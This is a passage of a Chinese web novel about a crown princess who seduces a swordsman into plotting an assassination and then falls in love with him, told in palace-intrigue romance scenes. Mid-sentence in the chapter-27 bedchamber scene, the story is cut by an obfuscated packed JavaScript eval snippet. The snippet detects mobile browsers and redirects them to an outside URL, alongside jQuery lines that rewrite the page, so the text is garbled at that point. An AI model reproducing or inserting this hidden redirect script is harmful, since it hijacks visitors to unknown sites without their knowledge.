凌云给了季飞扬一个自求多福的眼神,随南叶去偏殿。他入偏殿后,站在画架前,想着那太女该长什么模样,起笔该从哪里开始……南叶吩咐小宫女上果脯盘盏,又拿来木制品放在几上。 凌云瞧着这些眼熟的东西,唯独没有多宝盒,诧异地看向南叶。 南叶笑道:“凌小公子,这些可够你玩耍?” “玩耍?不是……来画画吗?”凌云诧异道。 南叶笑笑不答。 凌云好奇的眼神转了又转,转身问道:“我可以看殿下的书库吗?” “书库?”南叶愣了下,颔首道,“待我请示殿下。” 一会后,在凌云翘首顾盼时,南叶回来了。 她笑道:“殿下同意了,凌小公子这边请。” 凌云乐得不行,【终于有机会查风华镇在什么地方了。】 他哪里还管季飞扬在干什么,随南叶去了书房。 舞凰殿内,金簪一身水袖踏琴声而动,婀娜婉转如水上仙子,媚而不妖,濯濯如白莲。 季飞扬先是听到点滴入心的琴音,刚要调侃一句,杜鹃掀开的帘纱后一条水绸直击面门而来。 他想要不动,但是,袖后女子悄然而露、转瞬而逝的眉眼像是猫爪子一样随着浅落的琴音勾走他的心神。他的手理所当然地抓住水袖,再用力一扯,那猫儿般得人就旋扑过来。 心在扑通扑通地剧烈欢跳着,好似因骤然加快的琴音,也似乎因这双消失的眉眼。 季飞扬的手抓得很紧,用力后已经张开双臂等着拥抱美人,却被出其不意得一脚踢在下巴。 力度之大直接让他往后翻了筋斗,单膝跪在席地。 “噗……”这下马威。 季飞扬翻跪在地后噗出口水。 他猛得抬头看向居高俯视、盛气凌人的女子,咧嘴露齿道:“美人,这玩笑开大了。” “打得过孤,允你一诺。”金簪的双眸露着微光,傲气道。 季飞扬本是一愣,随后就道:“好。” 他一手拍地,猛得出掌袭向金簪的肚腹位置,而后游掌向上。 琴声拔高,如风骤雨聚,似霹雳落珠。 帘纱后的祁缙云连动十指,云弹拨捻,越奏越急,将舞凰殿内剑拔弩张的气氛带至极致。 金簪侧身避开季飞扬的掌换爪,旋长袖当棍,力击季飞扬的胸膛。 季飞扬一扭折花手,将金簪的力量卸去,而后如游龙般伏低腰肢绕到金簪的后面。他的手犹如无骨般贴过金簪的耳侧,顺着琴音绵绵,随心调笑道:“肤如凝脂,美人如兮。” 金簪的脸颊微凉,心头微颤。 她悬脚一勾将软袖缠上季飞扬的小腿,再用力一扯,就将这人拉倒在地。 季飞扬哈哈一笑,顺点滴琴音以掌撑地,随低徊的乐声游步而近,躲过金簪的袖棍,缠在金簪的腰身。 他一把将金簪腰侧的挂饰扯了过去,随后转脚落在窗前。 季飞扬一气呵成的流畅动作委实不赖。他瞧着美人背后琉璃镜里的俊脸,顺势拨弄番乱掉的鬓角发丝,以此平复被琴音调动的情绪。他假装得意道:“允我可以轻薄殿下,如何?” 金簪瞧着他手中的挂饰,摸把腰间,再听琴声已停。 她朝帘后的祁缙云摆手,示意他离开。 祁缙云透过纱帘望见窗台前、沐浴在光里的朝气青年,扯起唇角淡笑了下。 他朝金簪行礼后款步而去。 金簪撇开脸,仰面道:“你过来吧。” 季飞扬愣了下,好似没听明白。 他暗吸口气,眨眼道:“你……说什么?” “为君者,一言九鼎。孤既允诺你,而你也提了,孤就由你……轻薄。”金簪说完蹙了眉,扬眸道,“难道你要孤走过去?” “……”季飞扬瞧着她比公孔雀还傲气的小模样,忍不住裂开嘴。【这太女……不,小丫头这么逗?】 他撑着窗台后一跃坐上去,看向长身如 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金簪随他的移动而转身,认真地看着他道:“孤,一言九鼎。” “……”季飞扬哈了声,往后退开两步。 他站在殿中间,嘀咕道,“我干脆叫你自裁得了。” “你说什么?”金簪想着接下来的计划,跟进一步,认真地逼视他。“若你还有要求可以提,但凡孤有,皆可应你。” “呵……” 季飞扬被惊得奇了,思索词句道,“那句话怎么说来着……礼物给人……什么,有求。” “礼下于人,必有所求。不错,孤的礼不好接,而你可敢接?”金簪骄傲道。 “你这小娘子……不不不,殿下。你对于男女之事着实门外汉啊。”季飞扬转过弯来,绕着金簪走了一圈,猜测道,“你想要我替你做什么……做什么才下这么大的本钱呢?”【一定是要命的事。】 【本钱?原来这就是莺歌说的本钱。】 “杀人。”金簪毫不扭捏道。【鱼儿既已入网,必要好好收网,将事情办妥。】 “啧。”季飞扬一下子坐在地上,往后撑着仰看金簪,“无情帝王家、最毒妇人心。你可是两样都占了。” “如此污蔑孤,不怕孤杀了你?”金簪瞧他与众不同的做派,第一次见这样无礼又不怕死的人。但他比起士林儒生多了几分无法形容的放旷。 【若是这样的性子,这把刀真用起来才好使吧?】 “不怕啊。你都要求我帮你杀人,我还怕死?杀人这种行当,不就是奔着死去吗?”季飞扬拍在身边的席子空位,“来这边坐,小殿下说说要杀谁?” 金簪蹙眉:这“小”字何解? 她也不怕季飞扬,直接坐在他的身边。 季飞扬瞧着这乖巧劲儿,觉得这小姑娘矛盾得十分可爱。 他转着眸子道:“杀你父皇?” 金簪睨他,忍着心性摇头,直言道:“是……” “等等,容我猜猜。”季飞扬垫着脚尖敲地面,吊儿郎当地含笑道,“你的公主妹妹?” “不是。”金簪都要没耐心了,补充道,“也不是皇子金骧。” 【这么蠢,能做大事吗?】 “啊,不是皇族中人啊。那就是朝堂了……排除紫琴君,就是权臣风太宰……风子鸾。”季飞扬见她的眸光微亮,扯唇角道,“你是要我去送死啊。” “孤可以给你时间、地点,以及行动计划。”金簪连刺杀风子鸾的时机和方式都想好了。 季飞扬的内心有些惊讶,嘴上依旧道:“保死无生,还是我的小命重要。我可是咱家唯一的独苗,不能死。” 他的腰肢用力,将脸贴在金簪的面前,望入这猫儿爪似的眉眼,低声道:“如果你让我睡一觉……美人花下死,做鬼也风流嘛。” 【本钱,以身为器。】 “可以。”金簪利眸露光,毫不犹豫道。 “……”季飞扬猛得往后挪了下,指着她的眉眼道,“你这……你这……眼神也不像是答应啊。” 【还有,这眉眼像是那风华二字,怎么跟猫儿爪似,完全长我心眼里了。我勒个老天,早知道不来了。这是要命的感觉啊。】 “孤是君,日后皇夫、皇侍夫没有十人,也有七八。你的皮相不错,可以入孤的后宫。”金簪理所当然且极为大气道。 季飞扬热乎的心一下子凉了半截。他苦笑了下,呵呵道:“……还十个?七八……我的天。” 他焉了,抓了把鬓角的乱发,嘀咕道:“我怎么喜欢这样的女子。饶了我吧。我画不了,我走了。” 金簪直接转身而起,几步后抽出长棍,指向季飞扬道:“你若不允,死于此。” “啧,分明是只不通人情、未经人事的小狼崽。我说殿下,你是有点儿力气,但是论起打斗技巧,可太不灵敏了。”季飞扬也不急于离开,慢慢地走向金簪,“话说回来,梦里想了千百遍,不及亲眼一观。你真是让我刮目相看啊,殿下。”他的“下”字还未出口,已经快步近前,一把抓向金簪的长棍,被谨慎的金簪横棍劈开。 “有趣。”季飞扬擅轻功,飞踏而起,绕金簪跑,待金簪转身四寻时,他已悬在金簪的上方。 金簪四顾,有所察觉时,顶上的白纱零落,扑了满脸。 她手中的长棍也被轻纱缠住后脱手,人也一下子被绊跌在地。 她都不知道是怎么回事,已经旋趴在季飞扬的胸前。 两人隔着菱纱互相对视,季飞扬再次感受到心被猫爪挠了一下的滋味,有点痒、还有点儿不可名状的雀跃、甚至有着可以暂时忽视忘却的疼痛。 这一次,季飞扬的情被调动起来。 在金簪被绊倒时,他下意识去护她时已是动了情。【不可以,季飞扬。她是仇人之女。】 他将金簪推开,而金簪一把扯住季飞扬的手,将人再次压在身下。 她狠狠地盯在季飞扬的眼眸,望着里面清澈的潋滟微光,好无羞怯地覆着菱纱吻在他的唇上。 季飞扬瞪大眼,铺开的双手扣在地上的舞席面。唇上有点冰凉、有点软,像是沙沙的冰雪味道。他直至唇上的柔软离开才回过神。 金簪犹如宣誓般俯视他道:“孤盖过印,你以后是孤的人。” 季飞扬回过神,想来算不得万花丛中过,竟也有失措无助的时候。 他虽没有过女人,但也见了不少欢场情爱,怎么能将脸丢在仇家女儿的身上? 他的右脚用力,缠住金簪的腿,一勾下将金簪翻在身下。 季飞扬恶狠狠道:“我在死前必要成为殿下的人。” 说完,他就将菱纱一掀,狠狠地吻了下去。那双按捺不住的手毫无犹豫地抽开了细舞裙的腰带,探入衣裙。 金簪的呼吸好似被遏制,身体的不适让她有些紧绷,脑海在唇齿相依中渐为浆糊。 但她明白一件事:季飞扬答应了,可以收网了。 “殿下……”莺歌从窗后绕出来,瞧着那交叠相缠的身影,款款笑道,“哎哟哟,大白天的……该用膳了。” “该死……”季飞扬猛得抬起头,不去看谁打扰这好事。 他只知道一件事:格老子的,中美人计了。 27. 情事 回凌府的马车上,凌云在天机宫书房找不到风华镇的信息,不免叹了声。他扫向安静到诡异的季飞扬,断定道:“你看到她了。你有帮我问风华镇吗?” 季飞扬“哦啊”了下,点头道:“见到了,没问。” 【不仅见到了,还被咬了一口。贼挠心了,现在那张猫儿似的脸还在眼前晃,这傲娇的小模样啊。】 凌云往他身边挪了下,嘀咕道:“不对劲。她看上你了?” “啊?”季飞扬这才认真地应付他,“怎么这么说?” “我在她的书房看到那只多宝盒。应该是你写的情书被她看了去吧。所以,她见我们进宫,只招你这个不会画画的去见。而我……”添头!? 凌云想到这两字概不承认,只道:“重色轻友。你见到她也不帮我问风华镇的信息。” “下次下次……”季飞扬嘴上吧唧“下次”,心里又在后悔,被凌云给逮住手臂。 “说好了,她下次见你,你得帮我问。”凌云不依不饶道。 “知道了知道了。”季飞扬敷衍道,脑子过着菱纱直击而来时,悄然一瞬得如笔行云的眉眼,再及掀起帘纱后尝到的柔软如蜜的唇齿味道…… 凌云见他的唇角翘得老高,睨着眼道:“你……陷进去了?” “什么陷不陷?小孩子家家,回去好好用功读你的书。我还陷阱呢。” 【可不就是个陷阱么。早知道听凌祖父的话,在家安分点不入宫了。我也不知道是个陷阱啊。这腰肢软的……啊啊啊啊……义父能不能把凌祖父留在海宁的天师道呢?登令楼约时,天师道行事,就不会连累到凌家。义父啊,你可千万将他留在海宁府啊。】 季飞扬的神思如电,转眼又想起那位不顾世俗礼法直追而来的太女面容。 【她迎光亲来的脸,像是……仙女下凡。啊……要命……别想了,季飞扬!!】 凌云是闹不明白他一来笑、一来恼的表情是怎么回事,只好奇道:“她长什么模样?”他第一次对一个人的长相有了好奇心。 季飞扬啧了声,俯身道:“你还记得那“风华”二字吗?” “笔锋柔婉带点刚硬,同她书房里端正的字迹大大不同。应该是怕被宫外的人认出来,也可能不是她的手笔。”凌云入了书房,自是看过金簪的字迹。 季飞扬愣了下,斩钉截铁道:“定是她所写。你会发现,一个人的字如同她的风……华。外刚内柔,甚至还有点……” 【猫儿般的骚动、狐狸般得狡黠、母狼般的狠……全都聚焦在那一足一转、一言一行、一笔一划中……随琴音荡进心里去。自此种下一颗种子……得用相思相处的爱来浇灌……】 “不行了,凌云,我要去喝花酒。我得忘了她。”季飞扬说完,管不得凌云的表情,直接掀帘子跳车。 马夫赶紧拉住缰绳,高声问道:“季少爷,马上天黑了,不回府吗?”他得了一个挥手的回复。 凌云将脑袋从车窗外收回,朝马夫道:“别管他,掉陷阱里去了。回府吧。” 马夫不解道:“掉陷阱里去了?那得让人帮着拉上来。” “拉不上来,得他自己爬出来。”凌云道,【梅姨和殷罗姑姑在聊天时提过,这种情爱的陷阱得靠人自己走出来。】 他抱胸靠在马车的墙面,气得踢下小凳的脚,嘀咕句,“重色轻友。你见到人也不帮我问坚空竹。混账飞扬。” 马车夫好似通了窍般笑道:“老奴知道这种陷阱。美人骨上豪情气,温柔乡里英雄冢。少年人血气方刚,还折腾得起啊,哈哈……” ** 金宫的书殿里,案几上的多宝盒已被金簪打开。 她先是看到了一张询问风华镇位置的小条,再是一封极为通俗的情书。 “美人,你的美貌定胜过妖娆‘风华’;见字如晤,此生因你,慕红尘、留世间。 姑娘,若你肯回信,诚邀月下相逢,酌酒一杯,聊风华美景。缘求一见,字:飞扬。” 金簪将信纸铺在案几,探手揉在唇齿,耳闻南叶问话,才迟疑道:“你说什么?” 南叶不知道她看得竟这般出神,告罪道:“殿下恕罪。奴婢是想问殿下有找到风华镇的位置吗?今日凌小公子问起此事,宫婢一时不忍,说您……不日就能告诉他。” 说完,南叶又跪下了:“请殿下责罚奴婢擅做主张之罪。” 金簪摆了下手,示意她起身,边道:“风华镇本就在风华道府,只是那地方因地动已消失不见。将近四百年了。 近百多年来编纂的地理志上已经没有此地名。 他在孤的书房找不到这些内容也正常。 不过,他真正要找得是坚空竹。若这世上还有这种东西,只会在一个地方出现。”金簪的眼神望向窗外,月华如水,神思一晃又出了神。 “那是何地,殿下?”南叶见她心思不在此,再次喊道,“殿下,不如早些休息吧。” 金簪回神后颔首,又道:“少府大人今日是不是留在宫内?” “是。自那日他回来后入了殿下寝宫,逢三见五会留宿偏殿。今日正好是十五。”南叶觑着暖灯下的金簪,试探道,“可要少府大人侍寝?” “嗯。你去传。”金簪拿起桌上的情书,带着一起回了寝殿。 祁缙云一身白色长绸步入寝殿,本是要学往日般见过礼后躺在美人榻将就一夜。不妨一双柔弱无骨的手从后缠上腰,他心下一惊,掰扯开这双手,转身跪下道:“殿下,微臣失礼。” 金簪屈指抬起祁缙云的下颚,望入他躲闪的目光,微笑着蹲下身,与他平视道:“孤,只是想知道拥抱男人是不是就会动情。” 祁缙云暗舒口气,直面金簪道:“不会。只有那个人进了殿下的心眼,才会发生不期而遇的欢快悸动。这种感觉,不是人人都能给殿下。 比如微臣,殿下的心动了吗?” 金簪摇头,起身道:“确实不一样。他与孤来说,不一样吗?”她将信纸递给祁缙云,示意他给点意见。 祁缙云看了情书,不免露齿一笑。 他缓缓道:“殿下当时看了它,感觉如何?” “毫无文采,笔墨字迹也不好,不像他的身手那般灵活。”金簪在祁缙云的眼神中抿唇道,“有……一点点小欢喜。” 祁缙云没有笑出声,但感觉借着金簪此事回到从前与夫人相处时的状态。他不由拉开了唇齿,含笑道:“殿下,这就是动情了。微臣见过他,在西教坊。” 金簪的心微紧,撇开脸道:“孤知道。楚甲子入宫那天,就是这两人去了教坊司。说不定,他就是教坊司的常客。”她垂落目光,嫌弃道,“孤怎么会对这样的人动情,不可能的。” 祁缙云作为过来人,看到这对男女的纠结、仿徨、彼此的悸动……纯粹的情爱美好,仿佛他与妻子相遇后有过的情愫。 多么似曾相识的人啊。 他解释道:“前几日,微臣去西教坊见紫琴君,正逢季飞扬前来喝酒。西教坊的春雪与他颇有几分交情,两人间举止瞧来亲密。但是,这个人……怎么说呢,颇为规矩。” “规矩?今日他趴在殿下身上那会可一点都不规矩,那手都揉上去了。”莺歌从帘纱后走来,朝金簪行过礼,目光落在祁缙云的长身上,眼神一溜向他的身下滑去,“殿下,男人么,都是下半身思考的动物。这季飞扬,如此年轻,更是如此。春雪是个风流人,说不定早把他拆吃入肚,两人定是不清不楚了。” 祁缙云拱手一礼,就要离去。 金簪摆手道:“祁少府等下。”她朝莺歌道,“今日孤没说祁少府侍寝吗?你来此做什么?” 莺歌就是按捺不住心里的念想,过来一探究竟。她为祁缙云侍寝一事,焦灼难耐多日。 她咬着牙,转了眸子道:“殿下,男人算什么东西,硬邦邦的,这人还心有所属。哪有我的腿身柔软,可以给殿下枕靠呢?” 金簪好似懂了她的来意,直言道:“出去。你若再无召入殿,就不必等着出宫了。” “殿……”莺歌委屈地撇了嘴,在殿外的宫侍动作前,粗粗地行礼,而后望着祁缙云垂落视线的面容,伤心地离开。 金簪呵笑了声,看向无声的祁缙云:“这就是求而不得吗?” 祁缙云仿佛局外人般颔首道:“是。求而不得会让人心变得激狂,一旦失去冷静,就会不顾性命,做出许多违反规矩的事。殿下,以此为鉴。” 金簪捏着信纸走到烛灯前,抬手将它点着,又看着它落在地上燃烧殆尽。她朝祁缙云的方向流转了眸光,幽幽道:“孤害爱卿名声有损,少府恨孤吗?” 祁缙云摇头,缓缓道:“微臣本是心死之人,入宫效命是还家族生养之恩。殿下那句:不是微臣,也会是别人。而别人未必肯帮殿下遮掩。名声于我,本不重要。 殿下,招臣假意侍寝,如今烧信断念,您要保留得又是什么?” “自然是一颗心。固执的……想要保留自我的……不能正大光明反抗世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059954|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事、伦理情常的心。”金簪垂目道,又转向祁缙云,自若笑道,“可以让孤枕着你的腿入睡吗?像莺歌说得那样。” 祁缙云摇头,拱手往后退去。 “孤当你是……父亲。”金簪见他停步,再次道,“季飞扬说,皇家无亲情,最毒妇人心。你相信孤确实有过要杀父皇的心思吗?” 祁缙云抬目看向幽灯下的金簪,光与暗将她形成一个奇怪的光圈,似乎在等着有人将她从黑色的泥沼中拉出来。 但是,祁缙云知道:这个人绝不是自己。 他又想起那日初闻侍寝之说、愤而离宫,凌飞追出来后说过的话: “殿下是一个非常聪慧的女子。但是,因为她聪慧,学东西很快,会形成一种自我的偏执状态。这对于一名将会统御黎民四海的帝王来说,非常不好。 所以,祁少府,老夫希望你能教导殿下有关于男女情爱之事。你别急着拒绝,此教导没有要你……侍寝之意,只是希望你能将与夫人情比金坚的至纯之心以及经历告诉殿下。如此做,只是防范殿下因金宫清冷而寡情,而后……无道。” 祁缙云想起凌飞的话,颔首道:“若殿下不嫌弃微臣腿硬,微臣可以陪殿下至入眠。” 金簪裂开唇口,一把拉住祁缙云的衣袖,将迟疑的他带至寝床。 她推着人坐下后就躺上床,枕在祁缙云的双腿上入眠。 祁缙云僵得像是一根木头般,入眼的蓝红色泽,几近让他闭目羞惭。 金簪感受到他的不适,闭着眼,笑道:“孤小时候枕过一回男子的腿。神女阿乐离开那天,父皇将孤从腿上扔了下去,而后他发疯似得去找人。孤从那时候离开龙腾殿。自此,孤记下了枕在大人腿上的安心、以及离开时的惶恐惧怕。” 她还轻轻地蹭了下双腿,又道,“好像确实硬了些。但是,比女子得更安心。” 祁缙云的双腿从尴尬、僵硬,到听“父皇”二字后缓慢地放下心结的松软,轻声且低沉道:“来日定有一男子能让殿下更安心。 若微臣和爱妻有个女儿,定会将她日日抱在身前,舍不得放下。娘子还会给她做好吃的槐花糕。” 金簪点头道:“是啊。若我是祁少府和夫人的孩子,该多好,一定很幸福。少府大人可以给我讲讲你和夫人相遇的经历吗?” 祁缙云轻出口气,一直无处安放的双手扶把金簪柔顺的长发,颔首道:“我和她是在京都外的槐花林偶遇。她带丫鬟去摘槐花做糕。人站在花树下,相映成趣,似入了画卷。 偶然风来,槐花落了一地,白色的花瓣粘在她的三千发丝,这场景不期然地撞入了我……的心。 当时,我如个毛头小子一样,莽撞地走上去问她:姑娘,我能帮你戴花钗吗?” 【自那日后,彼此就允诺了一生一世一双人。】 “她一定吓了一跳。”金簪笑道,耳闻祁缙云的故事,想起白日里被阳光照得发白的俊朗眉眼。 金簪见季飞扬本有所准备,竟也会遇上这样不期然的场面。 他像是烈阳,直射入了偏凉的心,照暖了一角。 “原来是这样的感觉,真好啊。”金簪在祁缙云的故事中幽幽地睡了过去。 夜深时,祁缙云将金簪的头挪到薄枕处,又给她拉了丝被盖上。他看着安睡的少女,轻出口气后转身离去。 出了寝殿后,祁缙云开主殿门,入了庭院。 他遥望西斜的月华,夜色微凉如水。他的体感畏冷,只因夜那年冬雪早降,赤身躺在冰雪上只为给爱妻降下高热。 那时雪是凉的,心是暖而担忧的。今日,他的心似乎暖了一次,为那封少年情书,为这对懵懂男女的纯纯爱恋。 莺歌远远地注目着月光下如修竹般的身影,挠心得将指甲扣在廊柱。 祁缙云一回首见到廊灯下的女子,一步未留、一眼未停,转身向偏殿走去。 他又恢复成那个冷静淡漠且守礼的少府大人。 寝殿的床榻上,金簪翻了个身后睁开眼,怎么都睡不着。 她想起自楚甲子出现后得知季飞扬此人,再及沈长清调查来的资料,借凌飞的关系一步步地撒下渔网。 今日收网,却是出了点意外。 同季飞扬的博弈,像是两颗心的较量,有一种鹿死谁手的搏杀兴奋和征服感。 “季飞扬,飞扬……”金簪低喃这个名字,捏着被角笑出声,“且让我看看,我们的合作是互相成就,亦或者是彼此的……”【踏脚石。】 28. 情深 夏夔二十四年末,时近年关,无雪多晴。 南北四方尚算稳定。 石鸣春在寒雪关与小股的西戎摩尔人陆续交锋。他将燕地的练兵习气带到西关三府,硬是将西戎的游兵散勇据之关外。 北延三府,慕容涛抢了北戎人控制下的大周奴民的粮产,随后囤兵燕门关。燕门关守将乃是风子鸾亲信,得了消息快马送往京都,等待大军前来支援。 其次,西南的荷卿道府和南蜀道府联合,引天师道的教众入府城。这批教民开始向胜争道府发展。 天师道在胜争道府拉百姓入教,惹恼轩辕月辉。月辉君向朝堂请发檄文,求剿逆朝乱教。 风子鸾不仅同意这封檄文,还趁机给风子棋在军中立威。 他将五万人马给风子棋,派他同先前遣往东都和海宁交界的一万人马汇合,共计六万人前往海宁道府平乱。 他的本意是月辉君打主战,风子棋辅战得利,以此巩固风家弟子在风瑶骑兵军中的地位。 五万人马浩浩荡荡地出了京都外的南大营,往东南奔去。 此情形下,天师道内部高层一直在暗中催促季氏父子加快京都的刺杀行动。 *京都、凌府* “爹,你怎么让凌祖父回来了?”季飞扬直瞪季闲,瞧这义父反瞪回来,解释道,“我已经打算将凌云送往东都。凌祖父这一回来,凌云也走不了啊。” “凌老哥执意要回,而且他花钱雇的人身手都不错,帮着他回京都。”季闲对于这件事也是头秃,“谁能想到他有那么大一袋金叶子雇人,雇得还都是先前他结交过的好汉。凌老哥本是和善举义之人,旁人敬他都来不及,又怎么会不帮他? 这次不止风子鸾的刺客没得逞,咱们也没能留他在海宁府。 这京都的圈子啊,水真深。” 季飞扬哪里管人、金子从哪里来,又道:“天师道那帮自诩正义联盟的货色没留住他?如今,南旋、卧秋两府都是天师道的地盘。他那个儿子凌度,还有一帮儿孙都在南边,这都留不住人?” 季飞扬被整不会了,只能说凌飞的忠心和抱负是常人不可理解的。 “我将凌老哥从海辰带到海宁,天师道的教义也得了凌老哥的首肯。众人也执意留他在海宁府帮助天师道对抗朝堂。 然而,他不肯啊。他不仅绝食表忠心,私下里联络那帮花钱请来的江湖汉,直接使了个金蝉脱壳后溜了。 他于你我有恩,我也不能看着凌老哥死在海宁,得知消息后想着法儿将他送离海宁府。” 季闲无奈道,“因他一事,我还得罪了天师道的左护法呢。” “凌祖父知道你的身份了?”季飞扬的脸色都变了。他最怕得就是身份揭穿后,面对凌云时被他说一句:哥,你骗我。 “是。”季闲长出口气,颔首道,“如今,他已知道你的季氏身份。但是,你放心。凌老哥不仅不觉得你是个危险,还说要将你推荐给那无用的太女。我瞧着……躲不开了。” 季飞扬暗松口气,无语地翻个白眼。他想起今夜有约,瞧着时辰将近,不再同季闲掰扯,打算出门。 “这么晚,你还出去干什么?别糟践你的身子了。”季闲拦他道,“如今这时段,事还不够多吗?” 【在飞扬小的时候,尚能对他耳提面命,如今人都这般大,怎么管啊?】 “你打探消息归打探,别老往勾栏瓦舍的女人堆里凑。你就寻点正经路子,行不行?” 季飞扬嘿笑了声,瞧着急切的季闲道:“我现在找得就是正经路子,再正经不过了。无需凌祖父的帮助,宫里的太女已经认识我。而且,我和她已经谋划好刺杀风子鸾的计划。 你也知道这是九死一生的事,现在还不让我痛快下,说得过去么?”说完,他推开诧异的季闲,直奔府外。 季飞扬上了繁华热闹的长街,买下一包刚出炉的槐花糕揣在怀。 他跑到宫墙外,以老虎爪为器,攀上墙头,熟门熟路地入了天机宫。 在天机宫的后墙花廊下,金簪穿一袭银粉裙纱,坐在秋千上翘首盼着某人从天而降。 一个多季节下来,她与季飞扬的感情与日俱增,独差戳破最后一层窗户纸。 若是寻常人家的男女该是谈婚论嫁、递帖送定,偏他俩绕着些“登令楼、内外宫的长道、以及太宰府的布局”数度谋划刺杀方案。 “哎,姑娘,月下荡秋千,等情郎呢?”季飞扬跃上天机宫内的后院墙头,瞧向花架下曼妙的身影,咧嘴调笑。 金簪惊喜地望向他,拉住晃动的秋千,朝他猛得招了下手。 她目里的期待映着冉冉明星,十分的娇俏动人。 季飞扬的心热乎得像是怀里的糕点,一脚踏墙头,踩着花叶,扑近金簪的身旁。 他刚要调侃句,被金簪猛得扑撞了。 一手揽在金簪的腰身,闻着她甜美的气息,他乐呵道:“你这姑娘,昨日个不是说要矜持些吗?” “你帮我矜持着,我就不必矜持了。”金簪的粉颊微羞,黏糊地推开他,“你怀里藏着什么东西,这么烫?”她探手摸向季飞扬的胸前,轻声责怪道,“酒气,又去西教坊喝酒了?” 季飞扬一把握住她伸来的手,不轻不重地揉捏着,像是揉在收起利爪的猫儿肉垫。 他心里发痒,笑眯眯道:“吃醋了?路过酒肆时沾上的。哟,小心烫。我给某只小馋猫带了她爱吃的糕点。”他将怀里烫呼呼的槐花糕取出来,一手想揉烫红的胸口,又舍不得松开她柔软的手。 他咧着嘴,讨功道:“亲下,亲下我就给你。” 金簪睨他一眼,打量油纸包,抿唇道:“又是槐花糕吧。自上次同你说过祁少府与他夫人的故事,你就只会给我带槐花糕。” 她想将糕点从他手里抢过来,却被这家伙举得老高。 两人绕绕抢抢地玩着,彼此脚尖相缠,双双跌坐在秋千椅上。 季飞扬紧紧地揽住她的腰身,耳听咯吱咯吱的摇晃声,像是开启什么按钮,只觉得怀里的人比糕点还烫人。 他暗吸口气,将油纸包给了金簪。 金簪含笑接过来,见他揉胸口,感及手中糕点的温热:【这新出炉的糕点一定烫人。这家伙……】 她心里熨帖,对上季飞扬直勾勾的眉眼,取了槐花糕塞进他的嘴,舔着唇齿道:“你吃吧。别老看我。” 季飞扬含着槐花糕,口齿不清道:“你太好看了,我怎么都看不够。” 金簪听多他的花言巧语,一指点在他的唇上,贴近后呵道:“老不正经。” 季飞扬低低地笑了声,吞了槐花糕,顺着彼此的心意,猛得一口叼住她的指尖。 舌尖卷着长指,好似吸吮蜜糖。 一阵软麻从指尖沿着血液流窜进心。 金簪的心在微颤,目光微酥,软声嘟囔:“你……”她对上季飞扬直勾勾射来的打趣眸光,里面好似在说“我还能更不正经些。” 指尖被牙轻啃着,金簪不争气地轻嗬了下。 她自是不肯服输的,贝齿咬唇,翘着下巴,像只准备迎战的傲娇小鸡。她的指尖微用力,调皮地刮在他捣鼓的舌尖。 彼此的碰触柔酥得像是浮云擦肩而过,羞得连月亮都藏进云纱后。 季飞扬的眼直了,唇含着她的手指一卷一吸,激得金簪的眸光都在轻颤。而他的目光盯在她甜蜜的唇口,似已品尝了千百回般。 金簪忍不住颤栗了下,烫红了脸颊。 周遭的夜色越发朦胧,暧昧的气息也越来越浓烈。 她似着夺回胜者的姿态,高傲地扬起下巴,得意般道:“我知道,你想睡我,对不对?” 季飞扬的脸一热,口一松,任由她将长指拔了出去。 他舔在唇角,一手去掐在她的小鼻尖,啧啧道:“咱们的太女殿下就是聪明啊。” “孤说过,你帮孤做事,事成之后孤就允诺你。孤,一诺千金。”金簪扬眉笑道。她将烫呼的槐花糕放在秋千架,一挺腰肢,抬腿坐在季飞扬的双腿,硬是将他整得夹紧大腿,紧绷了身体。 她大大方方地勾着他的脖子,骄傲道:“孤允你,吻我。” 季飞扬咧大嘴,喷洒着槐花糕的甜香就亲了下去。 明知在引火自焚,他就是舍不得放开她。 她像是游戏人生里那一点真实的灯火,照着他前方看得见的死路。在这短暂的光下,他才能觉出鲜活。 而这甜蜜的滋味会上瘾,蜻蜓点水般如品葡萄酒的浅酌,小口品味佳酿的唇齿相依,再至豪情大饮烈酒的卷舌入喉。 彼此急促的喘息像是飞蛾在剧烈地扑棱翅膀,只为扑向那灼热的尽头。激情令所有都将不顾一切。 “嗬……好过瘾……嗬……”季飞扬的鼻尖抵着她的鼻尖,一手揽抱着她,一手重重地摩擦在她的唇角湿漉。 彼此的齿口掀着,将对方如酒的凶辣全吸回来,只差最后一口焚尽心焦的烈酒。 彼此都知道这口酒是情事的尽头,无法企及的尽头。 季飞扬将喘息的她紧紧地拥揽在心口,彼此的心好似在这一刻紧紧地缠绕,无比地贴近。 金簪的手滑落了他的肩头,探入他的衣襟,摸在那光滑发烫、剧烈跳动的胸膛。 她也在平复悸动如弦绷直颤的心,软了声音酥酥道:“疼吗?”察觉手下的胸腔震动得更烈,她又软糯道,“槐花糕甜还是我甜?” “你比花娇,比蜜甜。”季飞扬的脑子里骤然冲动,吐口而出道,“簪儿,我带你私奔吧。离开这金宫的牢笼,离开这大周。我们去东方,好不好?” 金簪在他的怀里仰面看入他黝黑点星的眸子,目光一远,望见空中半黑不明的月。她也有瞬间的冲动……也想不管不顾地应了他。 然而,月华的光照亮她稀里糊涂的眼睛,穿透她脑海里属于爱的纱帘,揭露其下覆盖着地奔腾的欲望之河。责任和姓氏令她没有冲动的资格。 她揽在季飞扬腰身的手一转,掐了把软肉,听到他一声闷哼。 金簪缓且肯定道:“你知道我走不了。你爱我,你也走不了。” 声音里也有着无奈和惋惜,更多得是毫不迟疑的坚定。 季飞扬听着她惯来自信骄傲的话语,心中苦笑,唇上亦笑:“是。我爱你,日日思你,想将你拆吃入肚,也想带你远走高飞。” 他说完后又开始发笑,低沉的无奈笑声,说不尽的酸涩情愁。 【何止你走不了,我也走不了。但我还是愿意被你用爱和身体钓着。我何尝不是那条渴死待水的鱼,急需你的爱来证明我的人生有一丝希望。】 季飞扬紧紧地揽住她,低喃道:“金簪,你知道荷卿道府那边有一片云海吗?” “荷卿道府?你这想法真怪,一会东,一会西。” 【天下如此纷乱,东逃西躲,如何走得了?】 